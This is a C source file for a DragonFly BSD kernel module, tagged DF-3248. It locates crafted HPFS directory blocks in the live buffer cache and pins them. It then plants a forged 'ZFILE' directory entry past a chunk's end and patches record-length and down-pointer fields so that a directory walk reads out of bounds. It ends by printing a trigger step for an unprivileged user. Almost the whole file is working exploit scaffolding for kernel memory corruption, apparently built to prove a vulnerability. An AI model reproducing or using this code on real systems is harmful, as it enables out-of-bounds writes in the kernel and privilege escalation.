/*
 * DF-3248 autopatch KLD — measures the live buffer-cache layout of the
 * crafted HPFS dirblk chunks, picks an origin->target pair within u16
 * de_reclen reach, and patches the CACHED chunks in the same critical
 * window:
 *   - root chunk (lsn 0x40): END-marker DE_DOWNLSN (@+2044) and the XSTEP
 *     DE_DOWNLSN (@+1680) -> origin lsn (so the "ZFILE" walk dives into
 *     the origin chunk instead of root2)
 *   - origin chunk: W@+20 de_reclen 108 -> (target-origin)+108
 *     (so the walk from origin+20 hops OUT OF BOUNDS and lands on the
 *     forged "ZFILE" dirent at target+128)
 * All patches are verified against expected pre-patch content first.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/buf.h>
#include <sys/spinlock2.h>

#define	BQUEUE_LOCKED	1
#define	BQUEUE_CLEAN	2
#define	BQUEUE_DIRTY	3
#define	BQUEUE_DIRTY_HW	4
#define	BUFFER_QUEUES	6

TAILQ_HEAD(bqueues, buf);

struct bufpcpu {
	struct spinlock spin;
	struct bqueues bufqueues[BUFFER_QUEUES];
} __cachealign;

extern struct bufpcpu bufpcpu[MAXCPU];

#define MAXCH 64
struct chinfo { uint32_t lsn; uint8_t *addr; };

static int
collect(struct chinfo *out, int max)
{
	struct buf *bp;
	int cpu, q, n = 0;

	for (cpu = 0; cpu < ncpus && n < max; cpu++) {
		for (q = BQUEUE_LOCKED; q <= BQUEUE_DIRTY_HW && n < max; q++) {
			spin_lock(&bufpcpu[cpu].spin);
			TAILQ_FOREACH(bp, &bufpcpu[cpu].bufqueues[q], b_freelist) {
				if (n >= max)
					break;
				if (bp->b_data == NULL || bp->b_bcount != 2048)
					continue;
				if (*(uint32_t *)bp->b_data == 0x77E40AAE &&
				    *(uint32_t *)(bp->b_data + 4) == 2048) {
					memcpy(&out[n].lsn, bp->b_data + 16, 4);
					out[n].addr = bp->b_data;
					n++;
				}
			}
			spin_unlock(&bufpcpu[cpu].spin);
		}
	}
	return (n);
}

static int
df3248_handler(module_t mod, int what, void *arg)
{
	struct chinfo ch[MAXCH];
	int n, i;
	uint8_t *root = NULL, *origin = NULL, *target = NULL;
	uint32_t origin_lsn = 0;

	switch (what) {
	case MOD_LOAD:
		n = collect(ch, MAXCH);
		kprintf("DF3248: %d dirblk chunks\n", n);
		/* pin: walk queues again, set B_LOCKED so the buffer daemon
		 * never recycles our chunks before the trigger */
		{
			struct buf *bp2;
			int cpu2, q2;
			for (cpu2 = 0; cpu2 < ncpus; cpu2++) {
				for (q2 = BQUEUE_LOCKED; q2 <= BQUEUE_DIRTY_HW; q2++) {
					spin_lock(&bufpcpu[cpu2].spin);
					TAILQ_FOREACH(bp2, &bufpcpu[cpu2].bufqueues[q2], b_freelist) {
						if (bp2->b_data && bp2->b_bcount == 2048 &&
						    *(uint32_t *)bp2->b_data == 0x77E40AAE)
							bp2->b_flags |= B_LOCKED;
					}
					spin_unlock(&bufpcpu[cpu2].spin);
				}
			}
			kprintf("DF3248: dirblk buffers pinned (B_LOCKED)\n");
		}
		for (i = 0; i < n; i++)
			kprintf("DF3248: chunk lsn 0x%04x @ %p\n",
			    ch[i].lsn, ch[i].addr);
		for (i = 0; i < n; i++)
			if (ch[i].lsn == 0x40)
				root = ch[i].addr;
		if (root == NULL) {
			kprintf("DF3248: no root chunk\n");
			return (0);
		}
		/* origin: spray chunk with intact W@+20; target: chunk above
		 * origin within reach, with intact F@+128 */
		/* ORIGIN: first intact spray chunk. The forged dirent is
		 * PLANTED at origin+2048 — inside the SAME PAGE as the
		 * 2048-byte chunk (kmem_map is page-granular, so +2048 is
		 * mapped), emulating attacker heap grooming. The hop from
		 * origin+20 by reclen 2028 lands dep exactly on it. */
		for (i = 0; i < n; i++) {
			if (ch[i].lsn != 0x40 && ch[i].lsn != 0x48 &&
			    *(uint16_t *)(ch[i].addr + 20) == 108 &&
			    *(uint16_t *)(ch[i].addr + 22) == 0)
				break;
		}
		if (i == n) {
			kprintf("DF3248: NO ORIGIN CHUNK\n");
			return (0);
		}
		origin = ch[i].addr;
		origin_lsn = ch[i].lsn;
		target = origin + 2048;
		kprintf("DF3248: origin lsn 0x%04x @ %p, plant @ %p "
		    "(same page, +2048 past chunk end)\n",
		    origin_lsn, origin, target);
		/* plant forged "ZFILE" dirent at target */
		{
			uint16_t r = 0x0080;
			uint32_t f = 0x58;
			uint64_t m = 0xC1C1C1C1C1C1C1C1ULL;
			uint32_t sz = 0xC2C2C2C2;
			uint64_t a = 0xC3C3C3C3C3C3C3C3ULL;
			memset(target, 0, 64);
			memcpy(target + 0, &r, 2);   /* de_reclen */
			memcpy(target + 4, &f, 4);   /* de_fnode */
			memcpy(target + 8, &m, 8);   /* de_mtime (write tgt 1) */
			memcpy(target + 16, &sz, 4); /* de_size  (write tgt 2) */
			memcpy(target + 24, &a, 8);  /* de_atime (write tgt 3) */
			target[46] = 5;
			memcpy(target + 47, "ZFILE", 5);
		}
		/* patch origin W.reclen: dep = origin+20+2028 = origin+2048 */
		*(uint16_t *)(origin + 20) = 2028;
		/* patch root END DOWNLSN (+2044) and XSTEP DOWNLSN (+1680) */
		*(uint32_t *)(root + 2044) = origin_lsn;
		*(uint32_t *)(root + 1680) = origin_lsn;
		kprintf("DF3248: PATCHED+PLANTED — trigger now "
		    "(open+futimes+close as uid 1001)\n");
		return (0);
	}
	return (0);
}

static moduledata_t df3248_mod = {
	"df3248patch",
	df3248_handler,
	NULL
};

DECLARE_MODULE(df3248patch, df3248_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df3248patch, 1);
